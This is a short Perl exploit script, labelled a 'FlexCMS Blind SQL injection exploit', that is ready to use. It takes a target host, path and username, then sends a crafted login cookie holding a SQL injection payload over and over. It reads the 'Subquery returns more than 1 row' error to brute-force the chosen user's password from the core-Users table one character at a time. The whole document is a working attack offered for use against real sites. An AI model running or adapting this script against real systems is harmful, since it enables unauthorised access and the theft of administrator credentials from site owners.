#!/usr/bin/perl
# FlexCMS Blind SQL injection exploit
# usage: perl flex.pl www.site.com /flex/ admin
$|=1;
use IO::Socket;
$host = $ARGV[0];
$path = $ARGV[1];
$uname = $ARGV[2];
$url = 'http://'.$host.$path;
$ascii = 47;
$id=1;
print "[+] Conecting to $host\n";
print "[+] Bruting password for username - $uname\n\n";
while (!$pass_ok) {
	undef $next;
	$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "$!\n";
	print $socket "GET $url HTTP/1.0\r\n";
	print $socket "Accept: */*\r\n";
	print $socket "Host: localhost\r\n";
	print $socket "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7\r\n";
	print $socket "Cookie: FCLoginData12345=sploa'+and 1=(select null from `core-Users` where length(if(ascii(substring((select password from `core-Users` where username='$uname'),$id,1))>$ascii,username,RecordNumber))>1)/*%3D%3Dxekeng\r\n";
	print $socket "Connection: close\r\n\r\n";
	while (<$socket>) {
		if (m/Subquery returns more than 1 row/) {
			$next = 1
		}
	}
	if ($next and $ascii != 57) {$ascii++}
	elsif ($next and $ascii == 57) { $ascii = $ascii+7 }
	else {
		if ($ascii == 47) {
			print "\n[+]Password has been brooted\n[+]Password is - $pass\n";
			$pass_ok = 1; 
		} else {
			$pass .= pack("C", $ascii);
			print "$pass\n";
			$ascii = 47;
			$id++;
		}
	}
	sleep(0);
}